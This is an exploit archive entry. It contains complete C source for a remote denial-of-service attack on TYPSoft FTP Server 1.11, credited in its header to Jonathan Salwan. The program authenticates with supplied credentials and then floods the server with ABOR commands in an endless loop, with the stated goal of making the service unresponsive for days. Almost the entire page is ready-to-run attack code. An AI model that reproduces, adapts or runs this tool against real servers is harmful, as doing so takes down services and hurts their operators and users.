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TYPSoft FTP Server 1.11 (ABORT) Remote DoS Exploit
[==================================================
TYPSoft FTP Server 1.11 (ABORT) Remote DoS Exploit
==================================================
/*
Soft : TYPSoft FTP Server
Version: 1.11
Denial of Service in TYPSoft FTP Server up to 1.11 (no crash)
Just the server is saturated, it stops responding.
--------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the request (ABOR).
This can be exploited to satured the FTP service, and make the server inaccessible
for several days.
--------------------------------------------------------------------------------------
Author : Jonathan Salwan
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int syntax(char *file)
{
fprintf(stderr,"TYPSoft FTP Server Remote Denial of Service\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <user> <pass>\n",file);
fprintf(stderr," : %s 127.0.0.1 21 anonymous aaa\n",file);
exit(0);
}
int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);
int port = atoi(argv[2]);
int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;
struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);
char request[200];
char answer[500];
fprintf(stdout,"[+]TYPSoft FTP Server %s\n",argv[1]);
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
if (srv_connect != -1)
{
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]Connexion\t\t[OK]\n");
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request User\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
fprintf(stdout,"[+]USER request\t\t[OK]\n");
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
fprintf(stdout,"[+]PASS request\t\t[OK]\n");
sprintf(request, "ABOR\r\n");
fprintf(stdout,"[+]If exploit is active, the server is saturated, it stops responding...\n");
while(1){
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request ABOR\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
shutdown(mysocket2,1);
return 0;
}
# 0day.today [2024-11-15] #